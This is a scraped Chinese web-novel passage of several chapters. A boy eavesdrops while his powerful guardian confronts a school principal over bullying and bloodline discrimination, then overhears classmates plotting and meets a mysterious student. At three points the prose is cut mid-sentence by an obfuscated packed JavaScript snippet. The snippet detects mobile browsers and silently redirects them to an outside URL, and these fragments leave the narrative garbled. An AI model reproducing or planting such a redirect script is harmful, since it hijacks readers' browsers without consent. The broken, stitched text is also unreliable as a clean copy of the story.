“乖,之后有事就叫宋哥,你宋哥随叫随到,绝对靠谱,要是惹陆琰修生气了,你就到我家里来,我绝对站你这边。” 宋南星得意洋洋地夸下海口。 凌岁虞欲言又止,最终还是没有出声损他的自信心,眼睛转来转去,看了一会儿周边的风景,片刻后依旧落到了大门上。 宋南星细心地注意到了他的心不在焉。 “怎么了,担心陆琰修吗?” 凌岁虞迟疑地点了点头,他小声找补,“也不是特别担心,我知道哥哥很厉害,肯定能够教训哪些大坏蛋,但是看不到哥哥,我总是不安心,我想陪着哥哥一起。” 说着说着,他倒也有了几分真情实感,陆琰修这些天对他尽心尽力,他全都看在眼里,再胆小再谨慎,他也不得不承认,在他的人生经历中,这个人对他是独一份的好的。 他担心这人也是理所应当。 宋南星刚被认了哥,正是兴奋的时候,一看凌岁虞不高兴,当即拍着胸膛就要替他解决问题。 他和陆琰修当初在这个学校都待了一段时间,他闹事多,认识的朋友也不是省油的灯,三天两头来校长室半日游,对周围熟悉的不得了。 凌岁虞跟着他下楼,又绕了一圈,来到了一个小小的档案室,档案室的角落的上面,有一个方形的小口,宋南星托着他,让他爬了上去,打开口子一看,赫然是一个天台,扒拉着就是校长室的后方窗户,简直是偷听的好地方。 宋南星也利落地爬了上来,他拍了拍身上的灰,笑嘻嘻道:“看吧,我就说能让你听到,我当初经常躲在这里偷听放假安排。” 凌岁虞仰头,盯着窗户愣神,犹豫,“我们没有带垫的东西上来。” 窗户就在眼前,偏偏高三米,凌岁虞就算蹦起来也够不着,只能够望窗兴叹。 “我知道你够不着啊,”宋南星走到窗户正下方,活动了下肩膀,半蹲下来,朝他招了招手,“快来快来,你踩着我的肩膀,我把你撑起来看。” 凌岁虞往后退了一步,“这样不好吧,你的衣服会脏的。” “没事,已经脏了,”宋南星洒脱一笑,“反正都是要洗的,脏一点更有洗的价值,你快点来,我都不嫌弃你怕什么,都叫我一声哥了,我还不得给你帮着点,我对弟弟可是特别好的。” 行吧,凌岁虞看着比自己还要迫不及待的宋南星,也清楚他也带有几分看热闹的心思,不再纠结,踩着人的肩膀,刚站稳,就被握着脚踝稳稳地托了起来。 他扒拉着窗户,小心翼翼地开了一条缝,从他的角度,恰好可以看到陆琰修的脸。 他从来没有见过男人这样冷酷的表情,一时间屏住呼吸,有点僵住了,谈话声顺着缝隙传出来,钻进了他的耳朵。 凌岁虞心急地不行,手指头不知不觉塞到了唇边,一点一点啃食着,指甲被咬得坑坑洼洼,几乎能看见指肉。 这是他之前留下的坏毛病,只要是不安或者焦虑,他就想要啃点什么,之前流浪时,他还稍微克制一点,手经常性太脏,咬破了容易发炎化脓,会痛很长一段时间。 现在被照顾得好,他咬起来反而更顺手了。 凌岁虞自己没有意识到手指咬破了,反倒是被他踩着的人一直关注着他。 宋南星盯着他无意识的小动作,下意识皱了眉头,沉默片刻,他悄咪咪低头,从口袋里摸出了手机,他不知道哪里来的这么大的力气,即使肩膀踩着个人,单手打字也轻轻松松。 【你家小朋友在啃手指头,都破皮了】 【你再不快点解决的话,我怕他直接把手啃掉了,愤怒jpg.】 他耐心地等待了一会儿,毫不意外的,没有回音,暗暗骂了几句陆琰修,他抬手,捏了一把凌岁虞的小腿,叫他的名字。 “岁虞啊,你听到了什么没有?” 正在努力辨别房间里传来的叽里咕噜的鸟语的凌岁虞嘟着唇,难得有几分生气,他垂头,重重地嘘了一声,表情严肃。 “宋哥,不要打扰我,我在认真偷听。” 宋南星噗嗤笑了下,看人更气了,脸都红通通的,眼睛冒火,连忙道:“我不是故意的,哎呦我肩膀麻了,你发消息问问琰修,看他还有多久才能处理完这件事。” 凌岁虞一听他肩膀麻,立刻就发不出火了,颇为心虚,他有点想下去,却被人牢牢撑着,“是不是我太重了,你把我放下来吧。” “不用不用,你先问,说不定他很快就好了,你还能趁机听到最后的话。” 凌岁虞勉强应是,低头,乖乖的,迫不及待的,但又谨慎地发了个消息。 【哥哥好了吗?】 他想了想,又在搜索栏输入了卖萌两个字,认真搜索了个可爱的表情包发过去。 【小猫星星眼jpg.】 刚发完,他就又探头探脑地扒拉着窗户看里面人的动作,眼睛也不眨一下,专注着看陆琰修,观察他有没有拿手机。 陆琰修似乎听到了手机的消息提醒,俯身过去捡回手机,点开了屏幕。 在男人低头的一霎那,凌岁虞立刻同步点开手机屏幕,转回两个人的消息框。 【马上就好,你们在哪里,我出来找你们,带你出去玩】 【小猫摸头jpg.】 凌岁虞盯着这个可爱的,和自己明显属于一个系列的表情包,美滋滋地勾起了唇,一边夸男人终于不再用小黄脸表情,懂得年轻人的时尚了,一边夸哥哥太棒了,这么快就解决了。 完全没有注意到,陆琰修回了三条消息,有一条他没有收到。 宋南星的手机也滴了一声。 他看了眼,果然是陆琰修回的,看起来是回小朋友的空隙中匆匆发的,一个老土的ok。 宋南星面无表情。 难道他就不值得一个可爱的时尚的Q版新潮表情包吗,呵,双标的男人。 就在这时,肩膀上踩着的人突然晃了晃身子,宋南星扶好他,生怕他一不小心栽下来。 “怎么了,怎么了,是要下来了吗,小心一点,我慢慢把你放下来,你别摔着了。” 凌岁虞没有说话,在他刚低下身时,就匆匆的,连滚带跳地蹦了下来,额头冒汗,呼吸急促,脸蛋红扑扑的,一副心跳加速紧张得不行的样子。 宋南星给他递了张纸,好奇,“突然这么急干什么,又没人催你。” 凌岁虞垂头丧气,闷声道:“有人催。” 然后在宋南星不解的眼神中,他把手机举起来,露出屏幕给他看消息。 哥哥:【别扒着窗户看,不安全,现在下去】 小鱼:【我没有,我不是,我乖乖等着你的,我是听话的小孩QAQ】 哥哥:【不要撒谎,小鱼,这种事我经常看宋南星干,我马上出来,你在门口等我】 哥哥:【希望我一出门就能见到你】 宋南星大惊失色,看完消息后 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啪的一声,笔被甩到了桌子上。 “我们谈了这么久,这就是你给我的诚意?简单的通报批评,还不计入档案,王校长,你未免也把我想得太好糊弄了。” 王校长早就面色死灰,他盯着陆琰修,无奈叹气,也许是还抱着希望,声音迟缓地求情,“陆总,不是我不想给你面子,实在是只能做到如此了,你不知道我压力多大,我只是一个小小的校长,学校里的很多人,我也得罪不起啊。” “哦,”陆琰修似笑非笑地拖长语调,“那我是不是可以理解为,你在跟我诉苦,认为自己胜任不了校长这个职位,怎么,你想主动离职。” 王校长如同被剪了舌的鹦鹉,顿时说不出话了,他额角出汗,眼角抽搐,艰涩道,“您这是什么个道理,我任职这么久,做事尽心尽力,从来没有人说过这种话,您带来的孩子也没有真的受欺负,反而揍了我的学生,算下来,不还是您更没道理吗。” “是吗。” 陆琰修瞥了眼手机上新传来的消息,随意地将它甩到了王校长面前。 “那你要看看这些东西吗?” “纵容高等级学生抱团,在学校内建立阶级制度,把我早就声明禁止出现的血脉歧视思想光明正大地在校园内传播,你这也是毫不知情吗,还是说,你也是暗地里的支持者。” 王校长瞳孔一震,急促地吸了一口气,立刻就否认了这个说法,他凝视着陆琰修,从他的眼底看出了清晰的蔑视,如同看蝼蚁一般,冷酷的,冷血的,没有丝毫温度的。 陆琰修可不是他曾经印象里万事随便,做事温和有度的人,当初的魔王之位,他们这群人比谁都更清楚,他是凭什么登上去的。 他会生不如死。 王校长清晰地意识到了这个,他下意识腿一软,砰得一声跪在了地上。 在男人冷淡的眼神下,他急切地膝行着,一步一挪爬到了男人脚边,一把抱住了男人大腿,鼻涕眼泪都瞬间冒了出来,再也嘴硬不下去。 “陆总,我,我鬼迷心窍,我想往上爬,其他几个家族的几位一起来跟我谈话,他们告诉我,只要我睁一只眼闭一只眼,让他们的孩子在学校里好好锻炼,学点知识,就保我上去。” “我从头到尾什么都没有做啊,我一直记得您告诉我的一切,从没有忘记,他们私下里做什么,我都没有了解,您信我,我如果知道他们这么胆大妄为,我肯定不会包庇他们的。” 陆琰修没有说话,低头看人,眼底划过几丝不耐,手机重回他的手里,他点了一下最上头的消息框,犹豫了片刻,发了几条消息过去。 那边的人似乎一直盯着手机,下一秒就立刻回了消息,不知道发了什么,惹得男人勾唇轻笑。 王校长被他这态度搞得惴惴不安,装模作样哭出来的几滴鳄鱼泪还挂在脸上,显得有几分滑稽。 “陆总,”他小心翼翼地问,“接下来这些事就交给我吧,我一定给您办好,让小少爷能够开开心心地上学,这里毕竟是最适合异族的学校,只需要您借我一点小小的力……” “就你,”陆琰修刚勾起的唇平下去,抬脚就把这人踢得滚了几圈,足足退了几米,他垂眼看着自己皱巴的裤脚,眼底很明显地闪过了几抹嫌弃的光,“你凭什么认为,我会让你替我办事,如果我没有及时赶过来,我送来的孩子受到欺负了,你还敢在这里跟我这样说话吗,别以为我忘了你在里面做了什么角色。” “旁观,在这种时候,也是一种罪。” 他站起身,再不看呆愣倒在地上,满脸恍惚的王校长,径直朝门外走去,只留下几句话。 “明天我不想在这里看到你。” “还有那些参与了这场抱团欺凌事件的人。” 王校长咬牙,前途迷茫的恐慌让他战胜了对陆琰修的恐惧,他大声冲着陆琰修吼叫,看起来底气十足,实则声音虚得不行。 “陆琰修,你别这么自信,支持我的人比你想象的多,你要是和他们对上,你不会有好下场的,你想和所有人为敌吗,你带来的那个孩子,你不怕他被孤立吗,”他牙齿颤抖,“没有人会愿意真心和一个可以随意决定自己去留的人做朋友。” 陆琰修离开的脚步顿住,他转过头来,眼神冰冷,笑意全无。 “看来是我这些年太过温和,让你们忘了我是什么样的人,竟然敢在我面前做这些小动作,还自以为可以威胁到我。” “真心的朋友不会在意这些,虚假的朋友不要也罢,我养的孩子,也不需要别人的虚情假意。” “至于你说的那些人,”陆琰修嗤笑着,漫不经心道,“手下败将罢了,你回去跟他们说,我要他们尽情反击,敢伤害我的人,不管有没有成功,我都不会轻易放过。” “我奉陪到底。” 16.厌学小鱼 陆琰修大步走出一片死寂的办公室,眼尾眉梢都带着冷意。 他已经许久没有如此这种愤怒的感觉了。 刚才他一通威胁,从始至终游刃有余,好像弹指间就能够让这个位置换人。 而事实上也确实如此。 陆琰修手指在屏幕上轻点了几下,一个电话拨了出去,对面无比迅速地接通。 “陆总,请问您有什么吩咐?” 陆琰修扯了下领带,烦躁地敲了敲手机,“明天派新的人来接手学校,一天后,我希望这个地方不要再留有任何暗中违抗我命令的人。” 对方没有丝毫犹豫应了下来。 陆琰修这才眉头稍缓,还没偏头,一阵急促而混乱的脚步声传了过来,两人一犬气喘吁吁地跑到他的面前。 凌岁虞抽出和宋南星拉着的手,双手扶膝,半弯着腰,气喘吁吁,额头冒了一堆汗,脸蛋红的,整个人蒸腾着热气。 “从哪里跑过来的,这么急,也不怕摔着。” 陆琰修无奈地摸出口袋中的手帕,捏着边角细细地擦拭他的汗,好笑又好气。 凌岁虞吸了吸鼻子,有点羞地退后了一步,抬手夺过手帕,一把盖在脸上,用力地揉搓一番。 洗衣凝珠的淡香萦绕在鼻间,有种说不出来的安心感,没忍住,他鼻尖微动,狠狠吸了几口香,和吐着舌头蹲在旁边大口喘气,时不时抽抽鼻子的地狱三头犬简直一模一样。 宋南星叉着腰站在一边,他体力倒不是一般的好,跑了这么久的路程,连气都没带急的,还有心思在旁边嘲笑一人一犬。 “这距离也不是很远啊,岁虞就算了,身体还没有养回来,小犬啊,你这不行啊,要锻炼,知道不。” 小犬愤怒地旺旺几声,呲牙咧嘴,恨不得跳起来狠狠咬这嘴欠的男人一口。 陆琰修扶额,揉了揉太阳穴,难得有几分头疼。 本来宋南星一个人就够闹腾了,现在加上小鱼小犬,他的身边就像是有三个超大音量扩音器,天天叨叨个不停。 凌岁虞揉搓了下脸蛋,眨眨眼睛,又看了眼紧闭的房门,很轻松就猜到了现在的谈判结果。 他抬起手拽住陆琰修的袖子,小心翼翼地扯了扯,等男人低头垂目,那双温柔的眼睛疑惑地看过来时,才轻声问。 “哥哥,我是不是不能来上学了?” 他一副习以为常的样子,毫不在意地拍了拍陆琰修的胳膊,反过来安抚看起来情绪不太好的男人,“不用太在意的哥哥,反正我也没上过学,来到学校也跟不上进度,我可以在家里自己看书学习的,你相信我,我很聪明哒,会学出成绩来的。” 陆琰修心又软了软。 没有人会不喜欢一个可爱的,听话的,善解人意的小朋友,更何况凌岁虞还是他亲自带回家的,是签了协议,由他负责的小朋友。 他爱怜地点了下凌岁虞的额心。 “笨蛋。” 猝不及防被袭击的凌岁虞蹭得跳到一边,涨红着脸,捂着被戳过的地方,愤愤大喊,“坏蛋,我在安慰你欸,你为什么突然打我。” 他抬了下手,让人认真看他被点过的地方,不高兴地哼哼,“红了,它都红了。” 陆琰修凝神看了会儿,没发现什么大问题,只是一点点很淡很淡的几乎看不见的粉色。 瞧凌岁虞的架势,好像是受了什么天大的委屈,整个人气得炸毛。 他心底突然划过一个词,突兀,但是很贴切。 恃宠生娇。 但他不仅没有感觉到不满,反而乐见其成,更准确一点,他其实想要凌岁虞再娇气一点,最起码做事的时候,大胆放肆。 他会替他兜底。 凌岁虞依旧捂着额头,但不再叫唤,他眼神直勾勾盯着陆琰修,观察着男人的一举一动,好像只要陆琰修变个表情,或者凶一点,他就要立刻跳脚缩回去。 陆琰修为自己的想法感到好笑,他俯身,把手压上去,两只手贴在了一起,隔着少年的手,他轻轻揉了揉那个快要消失的所谓伤口。 “对不起,下次不会了。” “小鱼能不能原谅我,我下手太重了。” 凌岁虞紧绷的肩膀渐渐松弛,他唇角隐秘地向上翘了翘,露出了得意而又开心的笑。 在男人的注视下,他哼了两声,勉为其难地松口,“好吧,这次原谅你了,没有下次哦。” “我记住了,绝对不会有下次,”陆琰修从善如流,但下一秒,他就转回了最初的话题,解释,“但我刚刚不是故意说你笨的。” 凌岁虞瞪大眼睛,听到这个字眼,又敏感地怒气冲冲瞪了过来。 陆琰修一刻不敢停,语速飞快,“是我觉得小鱼对我的认知有点错误,我可能比你想象中的更有权势,也更有钱。” 凌岁虞呆怔地啊了声,似乎脑子还有点转不过弯,露出了困惑的表情。 陆琰修抬手,谨慎地揉上了他的脑袋,“我已经安排人接手这个学校了,明天,这些人就会离开这里,不会再出现在你眼前,你也就不用担心其他的事情了。” “你唯一要做的,就是好好学习,然后吃好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369198|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝好玩好睡好,懂了吗?” 凌岁虞抿唇,小声嘀咕,“听起来你是想要我当小废物了。” “就算你是小废物,”陆琰修淡淡道,“我也养得起,更何况我不觉得你是。” 凌岁虞被很轻易地哄好了,他别扭地看了陆琰修一会儿,感觉自己突然生出了特别特别浓厚的学习热情。 就算让他现在去做十套狗屁不通,啥都看不懂,只能够自创答案的数学卷子,也不是不可以。 “那我明天还继续来上学吗?”他试探道。 陆琰修思考片刻,摇了摇头,他还是觉得凌岁虞今天受了惊吓,难过了的小朋友有资格任性一点,再联想到那些不情不愿,挖空心思想要逃避上学的学生们。 他一锤定音。 “明天可以放假,我带你再玩几天,等你玩腻了,我再送你来上学。” 旁边低头蹲着和犬玩的宋南星默默抬起了头,满眼震惊,无声质问。 不是,哥们,你就如此溺爱,哪有学生会嫌玩的时间太多,这一休息,岂不是十天半个月都不来上学了,这还学习什么。 想到自己曾经无数次被逼着上学,被陆琰修从各大网吧电玩城抓到学校的经历,宋南星的目光逐渐变得幽怨,当初怎么不见陆琰修放水,帮他跟父母阳奉阴违。 溺爱不可取。宋南星痛心疾首。 凌岁虞也同时被震住了,只不过他和宋南星完全不一样,他是真的迫不及待地想上学。 他无声地在心底哀嚎。 传闻中超级无敌巨好吃的炸鸡汉堡,奶茶鸡腿,火鸡面鸡公煲,炒粉炒面,火锅烧烤,全都吃不到了啊,少上一天学,少吃三顿饭。 犹豫片刻,凌岁虞试探性地询问,“哥哥,我觉得我现在特别想学习,我能不能明天就来上学。” 陆琰修皱眉,他迟疑地调出日程表看了看,“明天我很忙,可能没有空来接你……” “等等,哥哥你要接送我上学吗,”凌岁虞突兀地打断了他接下来的话,“是之后每天都要来,还是只有这几天来。” 陆琰修不解,不明白这个问题有什么好询问的,他耐心地解释,“当然每天都来,只要你一出学校就能看到我,怎么样,高不高兴?” 凌岁虞面如死灰,喃喃,“高,高兴,我真的特别高兴。” “那既然你这么想上学,我推一点工作,明天就送你来学校。” “不要!”凌岁虞飞快地拒绝,他一脸认真,“我还想多陪你几天,哥哥。” “求求你了,让我晚点进学校吧。” 17.偷听 说出去的话如泼出去的水,收也收不回来。 凌岁虞求了半天,也没能让自己上学的时间改变,只能够心不甘情不愿地抱着书包,进了安排好的班级,和一群一看与他格格不入的少爷小姐成为了同班同学。 只是这些少爷小姐也不知道为什么,全都对他这个新同学格外友好。 “凌同学,你还没有领书吧,我旁边是空着的,你和我做同桌,我先跟你共用一本。” “凌同学,我是学习委员,你要是有什么不会的问题可以来找我哦,帮助同学是我的职责。” “凌同学,一起去操场吗,等会体育课要跑步,我们先去换运动服吧。” “凌同学……” 半天下来,凌岁虞都不知道自己听到了多少句凌同学,脑子晕晕的,被叫多了,现在听到自己的名字就条件反射地想要跳起来往声音传来的地方看。 这也太夸张了吧,弄得他像是什么万人迷。 他被欺负惯了,有点阴影,怕自己成为他们的新玩具,怎么也不愿意和他们过多接触。 午休时间,他拒绝了一大堆同学的邀请,独自去热好了带来的便当,偷偷摸摸躲到了天台。 吹着风,凌岁虞拿纸擦干净了灰尘,坐到地上大口大口吃着饭。 便当是陆琰修早上起来准备的,每道菜都是凌岁虞爱吃的,其中还有一道菜做法特别复杂,需要大半个小时。 凌岁虞起床的时候还气呼呼的,昨天睡得太晚,根本没有睡够,哈欠一直打个不停,看到这饭也彻底没脾气了,气全消了,又变回了软乎乎的任人揉捏的小可爱。 他问,“我能够每天都吃你做的便当吗?” 有点得寸进尺。 但陆琰修给了他肯定的回答。 凌岁虞后知后觉地意识到,哦,他确实摆脱了当初的一切,现在他也是有人惯着的小朋友了。 也正是因为如此,凌岁虞才如此乖巧地来上学,并且一整个上午,面对大家的围堵,他不耐烦也没有发脾气甩面子。 毕竟他也要为陆琰修着想。 紧闭的门后突然传来了脚步声,混乱而又沉重,凌岁虞快埋进饭里的脸抬起,眯着眼睛屏声静气认真听了片刻,迅速收拾了饭盒,猫着腰躲到了一边的角落里去。 他颇为孩子气地厌烦着和别人打交道,宁愿逃开也不想多言。 只是他没想到,这些人来这里商量的事竟然和他有关,他手抵着墙,一时间进退两难。 四五个高个少年推搡着站到了凌岁虞刚刚离开的地方。 “项进,你确定你之前认识新同学,不会是想借新同学的名头来躲刘田他们几个人吧。” “你要是弄虚作假,被揭穿了之后,可能会被揍得更狠,他们生气了真的会下死手的。” “是啊项进,现在就我们几个知道你说了什么,你也就别到处声扬了,我可不想和你一起挨揍。” 凌岁虞耳朵动了动,敏锐地捕捉到了除自己外熟悉的名字,眼底飞快地闪过一丝迷茫。 他抿抿唇,心下一慌,强烈的第六感让他下意识地扒拉着墙,往外面瞟了几眼,想要看看他们口中的项进长什么样子。 毕竟,在他快要模糊的记忆里,好像确实有项进这么个人。 只是,项进和他一样是流浪者,甚至和他不一样,是处在最底层的一批,只能跟在某些大团体后面当跟班,过着最苦的生活。 他在天界都差点活不下去,怎么可能摇身一变,来到这个出了名的贵族学校读书呢。 凌岁虞的心底满是疑惑,但因为角度问题,他看不清楚项进的脸,只看到了一个瘦削的背影。 “我没有骗人,我确实认识他,不仅如此,我还救过他一次,他当时跟我说过,如果我需要帮助,可以去找他,只要事情他能够做到,他都会竭尽全力帮助我。” 被围在中间的少年低垂着头,佝偻着腰,浑身上下散发着一股死气,回答的声音也有气无力,好像随时都要晕过去了一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379070|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他的语气是那么笃定,仿佛已经确定了自己一定会成功。 旁边的人轻轻扶住他,动作看着贴心,可眼底却没有笑意,全是冷漠。 那人扯了扯唇,嘲讽,“我说你怎么还是这么天真,你自己是什么样的人,你不清楚吗,他要是真和你一个地方出来的,又能好到哪里去,随口一句承诺,你还当真了。” “他和我们都不一样,你看到他就会知道,他不是那样的人。” 项进握紧拳头,身子晃了晃,按在他肩膀上的手指格外用力,他身上没几两肉,便格外的疼。 “更何况,我,我只是想要他说一句话帮帮我,他现在身份这么尊贵,有人护着他,我这点要求,他没理由会拒绝。” “没理由拒绝,但也没必要答应。” 几个人笑嘻嘻地问,“要是他真的跟我们说的一样,不愿意帮你,那你又能做什么呢,像个被抛弃的小可怜一样哇哇大哭吗,可别指望我们安慰你哦。” “如果他拒绝我……”项进眼底划过一抹暗色,张了张嘴,想要说些什么。 可突然,一个人指着地面,惊呼一声。 “看,这里刚被人擦过,有人在这里!” “谁,不能让他把这件事说出去,被告到新同学那里去,我们统统完蛋,快找。” “该死的,是谁说这块地方绝对没有人的,那现在出现的人是什么,鬼吗,我真服了。” 一群人骂骂咧咧地翻找起来,只有项进还站在原地一动不动,他低头看着手心。 在那里,有一小块疤痕,圆形的,比周围皮肤色泽淡一点,可能是被什么东西捅穿过,足以想象到当时会是个什么样的情况。 项进摸了摸这块存在了好多年的疤痕。 他没有理会几个慌乱找人的少年,也不太在乎自己的话有没有被听到,陷入了自己的思绪中。 片刻后,他才喃喃着,把剩下的话说出来。 “如果他拒绝我,那我会让他和我一起下地狱。” 18.电话 凌岁虞蹲在角落堆着的木板后,捂着嘴巴,屏住呼吸,紧张地从缝隙里观察来人,生怕自己被发现捉出去。 昨天的事情还没有摆平呢,他是亲眼看着陆琰修两人一大早就匆匆离开去处理工作的。 不过经此一事,凌岁虞也放下心来,陆琰修是真的把他当自家人在管教,立规矩的时候凶得很,一条条的全都列得清清楚楚,惩罚也写得明明白白,打印出来贴在了墙上。 凌岁虞被强制要求从头到尾读了好几次,几乎能够背下来。 其实规矩说起来也简单,无非是些小事,不许夜不归宿,不许熬夜,不许离家出走,不许无故打架,有事记得叫家长。 只有一点让凌岁虞格外关注。 第一条家规——诚实,不许对家人撒谎。 凌岁虞细数了一下自己背着陆琰修已经犯下的错,就一阵心颤,不敢想象这些事暴出来会被怎么惩罚,他实在是不想又和别人打一架,不说将功抵过,总不能错上加错。 但他也清楚,不被发现这件事几乎是不可能的,毕竟天台空旷,面积不大,放眼看去,一览无余,可藏人的地方没有几个。 只要走到他这里,就一定会掀开他面前的木板,他要是不及时转移,就彻底暴露了。 凌岁虞眨了眨眼睛,把饭盒往后面藏了藏,观察着即将走到这边来的人,思考着策反的可能性。 看起来有点危险,这人好像是中间最壮的一个,人高马大的,不能够硬碰硬。 他抓住饭盒,准备趁这人掀开板子的时候狠狠砸过去,然后挑个缝隙钻出去,只要规划好路线,蒙住脸,他就能保证成功逃走。 这可是他这十几年来最擅长的事。 身前的木板松动,一缕光射了进来,凌岁虞下意识抬手,快狠准地朝着人砸过去,还没碰到人,就被一把握住了手腕,停滞在空中。 他对上了一双碧色的眼睛,冷淡,凶狠,像是狼,连紧抿的唇后都像是藏着獠牙。 凌岁虞抖了抖身子,一时间进退两难,少年力气实在太大,他被制住时,竟然连一点声响都没有。 眼看着其他人快要搜查完,他有点急了,无声地张开唇,快速比着口型,顺带着挺了挺胸膛,让少年能够看清楚自己校服上挂着的名牌。 少年冷淡地垂眸,凝视着那三个字。 【凌岁虞】 他唇角莫名一勾,斜斜扫过那边站在原地陷入魔怔,好像看到什么有趣的事。 捏着凌岁虞手腕的力度小了很多。 凌岁虞被轻轻一推,一屁股坐回地上,少年一言不发地把木板放了回来,把他重新遮住,比最开始还要隐蔽很多。 那边的几个少年烦躁地问话,“找到人了吗?” “没有,哪里来的老鼠钻洞里去了,跑得真快。” “也不知道有没有被听到,这里不安全了,先走,我等会儿去偷偷调监控。” “走吧走吧,项进,别愣着了。” 凌岁虞仰头,少年冲他露出了一个不明的笑,点了点胸前的名牌,无声地说着什么,嘴型变化很慢,足以让他看清楚。 “放学等你。” 凌岁虞瞳孔一震,他顺着少年的手看过去,是和他名牌一样的三个字。 【宋霍然】 门开了又关上,凌岁虞推开木板,灰头土脸地爬了出来,手上还紧紧握着饭盒。 他脑袋很懵很混乱,既想不通这个怪人为什么不仅没有告发他,还帮了他一把,也想不通放学后这人要跟他说什么。 宋霍然和项进是一个小团体的,一群人刚刚还商量着准备针对他,他和他有什么好说的,要他自已出谋划策怎么对付自己吗。 更何况他放学根本没有时间来,陆琰修可是说过了,不出意外每天要来接他的。 凌岁虞想得头痛,又怕这些人直接莽上去给他把马甲掀了,挣扎片刻,打算留张纸条在这里,跟宋霍然换个时间约。 口袋里的手机却突然响了起来,还是昨晚上凌岁虞特地设置的陆琰修专属电话铃声。 他慌忙地摸出,人急脑袋也懵,一秒不停歇接通,开口时声音都变甜了,透露出一股轻易能被人听出的依赖。 陆琰修的声音不禁带了点笑意,调侃。 “怎么这么快就接通了,是偷偷玩手机还是一直在等我电话呢。” 凌岁虞脸蛋一红,哼了一声。 “一直在等你电话呀,”他小声抱怨,“我复学第一天呢,还以为你会很担心我,一天八百个电话呢,没想到到现在才一个。” “你不关心我。” 陆琰修被逗乐了,他往后一靠,舒出一口气。 少年怏怏不乐的抱怨声亲昵,让他一连处理了六个小时公务,疲惫不堪的大脑得到放松。 他不禁放柔了声音,“特别关心你,只关心你,老师都跟我说过了,你今天表现特别棒,想要什么奖励呀,小鱼。” 凌岁虞却浑身一僵,他警惕地左右上下打量了一圈,总感觉四处都是监视器,在观察着他的一举一动,手机在发烫,他的心却凉成一片。 “哥,你怎么还问我老师这个呀,我又不是小孩子,你这样弄得我不好意思了。” 他作出一副耍赖卖娇的姿态,哼哼,“之后不许问了,听到没有,想知道就给我打电话发消息,我亲自跟你说。” 陆琰修本就不打算多问,只是担心凌岁虞刚去学校不适应,听他不高兴了,立刻连连保证不再问老师,哄了半天才把小孩哄好。 没等他松口气,凌岁虞下一个问题又让他心提了起来。 “哥哥打电话过来是有事要说吗?” 陆琰修低头看了眼面前堆积的文件,疲惫地揉了揉眉心,张了张嘴,却又感觉有些愧疚,犹豫半响才道,“是这样的,哥哥今天工作有点忙,可能要晚一点才能到学校接你,小鱼要是等不及,可以打电话给司机,让他来接你。” “对不起啊,小鱼,这才第一天,我就……” “没关系的哥!”凌岁虞眼睛却亮了起来,极力克制才能够压住自己声音中的雀跃,他把刚写好的纸条缩成一团塞进了口袋里,“我交到新朋友了,今天我和他一起回家,你不用担心我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388594|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “要好好休息,不要太累了哦,我会心疼你的。” 凌岁虞甜言蜜语一通输出,成功把乖弟弟滤镜极深的陆琰修哄了个晕头转向。 等挂掉电话看了眼时间,竟然聊了一个多小时,都快要上课了,打开饭盒,凌岁虞埋头把剩下没吃完的扒进嘴里,边吃边定下了行程。 他还是准备去见宋霍然一面。 抱着这样的念头,凌岁虞放学前五分钟就麻利地收拾好了东西,抱着书包,频频向外望去,似乎迫不及待想要离开。 旁边同学好奇盯着他,“凌同学,是有人来接你吗,怎么这么急。” 凌岁虞不想多费口舌,再加之实在是有点心虚,有种背着家长偷偷学坏的感觉,敷衍地点了点头,随意糊弄过去。 恰好下课铃打了,他直接窜了出去,也就没有听到那同学到处分享他说的话,一堆人默默地拿出手机跟人发消息。 天台有点高度,凌岁虞一口气冲上去,有几分气喘,他推开门,毫不意外地看到了熟悉的人影。 听到声音,宋霍然敏锐地转过头,条件反射性肌肉紧绷,待看清楚是自己要等的人,才缓慢地放松下来。 凌岁虞双手环胸,靠在门上。 “说吧,找我来有什么事。” 宋霍然不急着跟他交谈,只是用狼一般的目光把他上下扫了一遍,天然的犀利,仿佛能看透人心。 “你看起来过得很好。”他感慨。 凌岁虞警惕地盯着他,有几分莫名,但更多的是茫然,他没想到这人会用这么熟稔的态度跟他讲话,就好像他们两个很熟悉一样,“我确认过得挺好的,你有什么意见吗?” 难不成这人也想要威胁他,看不得他看。 宋霍然却抿唇,摇了摇头,“你不用这么紧张,我对揭穿你身份,让你声败名裂没有兴趣。” “我只是想单独和你见一面,毕竟,项进,宋南星,还有很多人经常提到你。” 凌岁虞眨了眨眼睛,疑惑,直白询问,“你们和我是一个地方,我想不明白,你们怎么能够进这个学校的,你又是怎么会认识宋南星的。” 他盯着宋霍然,并未从他身上感受到恶意,反而不害怕了,扣上门,甩下书包,步步逼近。 